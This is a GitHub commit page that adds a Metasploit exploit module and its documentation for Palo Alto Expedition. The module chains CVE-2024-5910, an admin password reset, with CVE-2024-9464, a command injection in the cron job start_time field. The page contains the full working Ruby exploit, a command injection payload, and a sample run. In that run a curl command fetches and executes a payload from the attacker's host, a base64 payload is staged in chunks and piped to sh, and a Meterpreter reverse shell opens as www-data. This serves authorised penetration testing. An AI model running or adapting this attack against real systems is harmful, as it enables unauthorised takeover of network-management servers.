Skip to content

Commit 19e182c

Browse files
authored
Land rapid7#19557, Add Palo Alto Expedition RCE (CVE-2024-5910 & CVE-2024-9464) Module
Palo Alto Expedition RCE (CVE-2024-5910 & CVE-2024-9464) Module
2 parents 8813265 + 6f6f928 commit 19e182c

File tree

2 files changed

+388
-0
lines changed

2 files changed

+388
-0
lines changed
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
## Vulnerable Application
2+
3+
This module exploits two vulnerabilities in Palo Alto Expedition to obtain a remote shell. The first vulnerability, CVE-2024-5910, allows to
4+
reset the password of the admin user. The second vulnerability, CVE-2024-9464, is an authenticated OS command injection.
5+
6+
When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will
7+
first try to reset the admin password and then perform the OS command injection. In a default installation, commands will get executed in
8+
the context of www-data.
9+
10+
Note: If no credentials are available, the module will attempt to reset the admin password. For this, the parameter RESET_ADMIN_PASSWD must
11+
explicitly be set to true.
12+
13+
## Testing
14+
15+
The software can be obtained from
16+
[the vendor](https://live.paloaltonetworks.com/t5/expedition/ct-p/migration_tool).
17+
18+
Installation instructions are available [here]
19+
(https://live.paloaltonetworks.com/t5/expedition-articles/expedition-documentation/ta-p/215619?attachment-id=13781).
20+
21+
**Successfully tested on**
22+
23+
- Expedition v1.2.91 on Ubuntu Server 20.04.1.
24+
25+
## Verification Steps
26+
27+
1. Install and run the application
28+
2. Start `msfconsole` and run the following commands:
29+
30+
```
31+
msf6 > msf6 > use exploit/linux/http/paloalto_expedition_rce
32+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
33+
msf6 exploit(linux/http/paloalto_expedition_rce) > set RHOSTS <IP>
34+
msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
35+
```
36+
37+
You should get a meterpreter session in the context of `www-data`.
38+
39+
## Options
40+
41+
### USERNAME
42+
Username for authentication, if available.
43+
44+
### PASSWORD
45+
Password for the associated user.
46+
### WRITABLE_DIR
47+
A writable location for the exploit to stage the command payload.
48+
49+
### RESET_ADMIN_PASSWD
50+
If the username and password are not specified, the module will attempt to reset the admin password to the default password `paloalto`. This
51+
is also done to authenticate and retrieve the exact version information, in case no credentials have been provided. As this alters the
52+
configuration of the target system, the `RESET_ADMIN_PASSWD` parameter serves as a safeguard that must explicility set to true before the
53+
reset endpoint is being invoked.
54+
55+
## Scenarios
56+
57+
Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using curl or wget as a fetch command, should result in an output
58+
similar to the following:
59+
60+
```
61+
msf6 exploit(linux/http/paloalto_expedition_rce) > exploit
62+
63+
[*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe &
64+
[*] Fetch handler listening on 192.168.137.204:8080
65+
[*] HTTP server started
66+
[*] Adding resource /qv_gAdz7yjcgH-ohM3GesA
67+
[*] Started reverse TCP handler on 192.168.137.204:4444
68+
[*] Running automatic check ("set AutoCheck false" to disable)
69+
[+] Admin password successfully restored to default value paloalto (CVE-2024-5910).
70+
[+] Successfully authenticated
71+
[*] Got csrftoken: MTczMTM4MjY0NUNRV0RkNXBXR3Vic2hkR1ZZTHBSQTd1cWY5MjVWYWIw
72+
[*] Version retrieved: 1.2.91
73+
[+] The target appears to be vulnerable.
74+
[*] Command chunk size = 30
75+
[+] Successfully authenticated
76+
[*] Got csrftoken: MTczMTM4MjY0NnpDVDRUcXdDRWhvZ09HWDNnMFdHUW81cXU2aHppTEdE
77+
[*] Adding a new cronjob...
78+
[*] Staging chunk 1 of 9
79+
[*] Running command: echo -n "echo Y3VybCAtc28gL3RtcC96UmUga" > /tmp/fglGT
80+
[*] Staging chunk 2 of 9
81+
[*] Running command: echo -n "HR0cDovLzE5Mi4xNjguMTM3LjIwNDo" >> /tmp/fglGT
82+
[*] Staging chunk 3 of 9
83+
[*] Running command: echo -n "4MDgwL3F2X2dBZHo3eWpjZ0gtb2hNM" >> /tmp/fglGT
84+
[*] Staging chunk 4 of 9
85+
[*] Running command: echo -n "0dlc0E7IGNobW9kICt4IC90bXAvelJ" >> /tmp/fglGT
86+
[*] Staging chunk 5 of 9
87+
[*] Running command: echo -n "lOyAvdG1wL3pSZSAm|((command -v" >> /tmp/fglGT
88+
[*] Staging chunk 6 of 9
89+
[*] Running command: echo -n " base64 >/dev/null && (base64 " >> /tmp/fglGT
90+
[*] Staging chunk 7 of 9
91+
[*] Running command: echo -n "--decode || base64 -d)) || (co" >> /tmp/fglGT
92+
[*] Staging chunk 8 of 9
93+
[*] Running command: echo -n "mmand -v openssl >/dev/null &&" >> /tmp/fglGT
94+
[*] Staging chunk 9 of 9
95+
[*] Running command: echo -n " openssl enc -base64 -d))|sh" >> /tmp/fglGT
96+
[+] Command staged; command execution requires a timeout and will take a few seconds.
97+
[*] Running command: cat /tmp/fglGT | sh && rm /tmp/fglGT
98+
[*] Client 192.168.137.205 requested /qv_gAdz7yjcgH-ohM3GesA
99+
[*] Sending payload to 192.168.137.205 (curl/7.68.0)
100+
[*] Transmitting intermediate stager...(126 bytes)
101+
[*] Sending stage (3045380 bytes) to 192.168.137.205
102+
[*] Meterpreter session 10 opened (192.168.137.204:4444 -> 192.168.137.205:58030) at 2024-11-11 22:37:40 -0500
103+
[*] Check thy shell.
104+
105+
meterpreter > sysinfo
106+
Computer : 192.168.137.205
107+
OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
108+
Architecture : x64
109+
BuildTuple : x86_64-linux-musl
110+
Meterpreter : x64/linux
111+
meterpreter > getuid
112+
Server username: www-data
113+
```
Lines changed: 275 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,275 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
3+
class XsrfExceptionError < StandardError; end
4+
class XsrfExceptionUnreachableError < XsrfExceptionError; end
5+
6+
Rank = ExcellentRanking
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::FileDropper
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)',
16+
'Description' => %q{
17+
Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.
18+
The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.
19+
When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => [
23+
'Michael Heinzl', # MSF Module
24+
'Zach Hanley', # Discovery CVE-2024-9464 and PoC
25+
'Enrique Castillo', # Discovery CVE-2024-9464
26+
'Brian Hysell' # Discovery CVE-2024-5910
27+
],
28+
'References' => [
29+
[ 'URL', 'https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/'],
30+
[ 'URL', 'https://security.paloaltonetworks.com/PAN-SA-2024-0010'],
31+
[ 'URL', 'https://security.paloaltonetworks.com/CVE-2024-5910'],
32+
['URL', 'https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910'],
33+
['URL', 'https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464'],
34+
[ 'CVE', '2024-5910'],
35+
[ 'CVE', '2024-24809']
36+
],
37+
'DisclosureDate' => '2024-10-09',
38+
'DefaultOptions' => {
39+
'RPORT' => 443,
40+
'SSL' => 'True',
41+
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1..3),
42+
'FETCH_WRITABLE_DIR' => '/tmp'
43+
},
44+
'Payload' => {
45+
# the vulnerability allows the characters " and \
46+
# but the stager in this module does not
47+
'BadChars' => "\x22\x3a\x3b\x5c" # ":;\
48+
},
49+
'Platform' => %w[unix linux],
50+
'Arch' => [ ARCH_CMD ],
51+
'Targets' => [
52+
[
53+
'Linux Command',
54+
{
55+
'Arch' => [ ARCH_CMD ],
56+
'Platform' => %w[unix linux]
57+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
58+
}
59+
]
60+
],
61+
62+
'DefaultTarget' => 0,
63+
'Notes' => {
64+
'Stability' => [CRASH_SAFE],
65+
'Reliability' => [REPEATABLE_SESSION],
66+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, ACCOUNT_LOCKOUTS]
67+
}
68+
)
69+
)
70+
71+
register_options(
72+
[
73+
OptString.new('USERNAME', [false, 'Username for authentication, if available', 'admin']),
74+
OptString.new('PASSWORD', [false, 'Password for the specified user', 'paloalto']),
75+
OptString.new('TARGETURI', [ true, 'The URI for the Expedition web interface', '/']),
76+
OptBool.new('RESET_ADMIN_PASSWD', [ true, 'Set this flag to true if you do not have credentials for the target and want to reset the current password to the default "paloalto"', false]),
77+
OptString.new('WRITABLE_DIR', [ false, 'A writable directory to stage the command', '/tmp/' ]),
78+
]
79+
)
80+
end
81+
82+
def xsrf_token_value
83+
user = @username || datastore['USERNAME']
84+
password = @password || datastore['PASSWORD']
85+
86+
res = send_request_cgi(
87+
'method' => 'POST',
88+
'uri' => normalize_uri(target_uri.path, 'bin/Auth.php'),
89+
'keep_cookies' => true,
90+
'ctype' => 'application/x-www-form-urlencoded',
91+
'vars_post' => {
92+
'action' => 'get',
93+
'type' => 'login_users',
94+
'user' => user,
95+
'password' => password
96+
}
97+
)
98+
99+
raise XsrfExceptionUnreachableError, 'Failed to receive a reply from the server.' unless res
100+
101+
data = res.get_json_document
102+
103+
raise XsrfExceptionUnreachableError, "Unexpected reply from the server: #{data}" unless data['csrfToken']
104+
105+
print_good('Successfully authenticated')
106+
107+
csrftoken = data['csrfToken']
108+
raise XsrfExceptionUnreachableError, 'csrftoken not found.' unless csrftoken
109+
110+
vprint_status("Got csrftoken: #{csrftoken}")
111+
csrftoken
112+
end
113+
114+
def check
115+
unless datastore['USERNAME'] && datastore['PASSWORD']
116+
unless datastore['RESET_ADMIN_PASSWD']
117+
print_bad('No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again.')
118+
return CheckCode::Unknown
119+
end
120+
121+
res = send_request_cgi(
122+
'method' => 'POST',
123+
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
124+
)
125+
126+
return CheckCode::Unknown('Failed to receive a reply from the server.') unless res
127+
128+
if res.code == 403
129+
return CheckCode::Safe
130+
end
131+
132+
return CheckCode::Safe("Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')
133+
134+
respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'
135+
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
136+
@password = respass
137+
@username = 'admin'
138+
@reset = true
139+
end
140+
141+
begin
142+
@xsrf_token_value = xsrf_token_value
143+
rescue XsrfException::Error
144+
return CheckCode::Safe
145+
end
146+
147+
res = send_request_cgi(
148+
'method' => 'GET',
149+
'uri' => normalize_uri(target_uri.path, 'bin/MTSettings/settings.php?param=versions'),
150+
'keep_cookies' => true,
151+
'headers' => {
152+
'Csrftoken' => @xsrf_token_value
153+
}
154+
)
155+
156+
data = res.get_json_document
157+
version = data.dig('msg', 'Expedition')
158+
159+
if version.nil?
160+
return CheckCode::Unknown
161+
end
162+
163+
print_status('Version retrieved: ' + version)
164+
165+
if Rex::Version.new(version) > Rex::Version.new('1.2.91')
166+
return CheckCode::Safe
167+
end
168+
169+
return CheckCode::Appears
170+
end
171+
172+
def execute_command(cmd, check_res)
173+
name = Rex::Text.rand_text_alpha(4..8)
174+
vprint_status("Running command: #{cmd}")
175+
res = send_request_cgi(
176+
'method' => 'POST',
177+
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
178+
'keep_cookies' => true,
179+
'headers' => {
180+
'Csrftoken' => @xsrf_token_value
181+
},
182+
'ctype' => 'application/x-www-form-urlencoded',
183+
'vars_post' => {
184+
'action' => 'set',
185+
'type' => 'cron_jobs',
186+
'project' => 'pandb',
187+
'name' => name,
188+
'cron_id' => 1,
189+
'recurrence' => 'Daily',
190+
'start_time' => "\";#{cmd} #"
191+
}
192+
)
193+
if check_res && !res.nil? && res.code != 200 # final execute command does not background for some reason?
194+
fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}")
195+
end
196+
end
197+
198+
def exploit
199+
cmd = payload.encoded
200+
chunk_size = rand(25..35)
201+
vprint_status("Command chunk size = #{chunk_size}")
202+
cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
203+
staging_file = (datastore['WRITABLE_DIR'] + '/' + Rex::Text.rand_text_alpha(3..5)).gsub('//', '/')
204+
205+
if !@reset && !(datastore['USERNAME'] && datastore['PASSWORD'])
206+
unless datastore['RESET_ADMIN_PASSWD']
207+
fail_with(Failure::BadConfig, 'No USERNAME and PASSWORD set. If you are sure you want to reset the admin password, set RESET_ADMIN_PASSWD to true and run the module again..')
208+
end
209+
210+
res = send_request_cgi(
211+
'method' => 'POST',
212+
'uri' => normalize_uri(target_uri.path, 'OS/startup/restore/restoreAdmin.php')
213+
)
214+
215+
fail_with(Failure::Unreachable, 'Failed to receive a reply.') unless res
216+
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{res.body}") unless res.code == 200 && res.body.include?('Admin password restored to')
217+
218+
respass = res.to_s.match(/'([^']+)'/)[1] # Search for the password: ✓ Admin password restored to: 'paloalto'
219+
print_good("Admin password successfully restored to default value #{respass} (CVE-2024-5910).")
220+
@password = respass
221+
@username = 'admin'
222+
end
223+
224+
begin
225+
@xsrf_token_value = xsrf_token_value
226+
rescue XsrfException::Error
227+
return fail_with(Failure::Unreachable, 'Failed to receive XSRF token.')
228+
end
229+
230+
print_status('Adding a new cronjob...')
231+
res = send_request_cgi(
232+
'method' => 'POST',
233+
'uri' => normalize_uri(target_uri.path, 'bin/CronJobs.php'),
234+
'keep_cookies' => true,
235+
'headers' => {
236+
'Csrftoken' => @xsrf_token_value
237+
},
238+
'ctype' => 'application/x-www-form-urlencoded',
239+
'vars_post' => {
240+
'action' => 'add',
241+
'type' => 'new_cronjob',
242+
'project' => 'pandb'
243+
}
244+
)
245+
246+
unless res
247+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
248+
end
249+
250+
data = res.get_json_document
251+
fail_with(Failure::UnexpectedReply, "Unexpected reply from the server: #{data}") unless data['success'] == true
252+
253+
# Stage the command to a file
254+
redirector = '>'
255+
chunk_counter = 0
256+
cmd_chunks.each do |chunk|
257+
chunk_counter += 1
258+
vprint_status("Staging chunk #{chunk_counter} of #{cmd_chunks.count}")
259+
write_chunk = "echo -n \"#{chunk}\" #{redirector} #{staging_file}"
260+
execute_command(write_chunk, true)
261+
redirector = '>>'
262+
sleep 1
263+
end
264+
265+
# Once we launch the payload, we don't seem to be able to execute another command,
266+
# even if we try to background the command, so we need to execute and delete in
267+
# the same command.
268+
269+
print_good('Command staged; command execution requires a timeout and will take a few seconds.')
270+
execute_command("cat #{staging_file} | sh && rm #{staging_file}", false)
271+
sleep 3
272+
273+
print_status('Check thy shell.')
274+
end
275+
end

0 commit comments

Comments
 (0)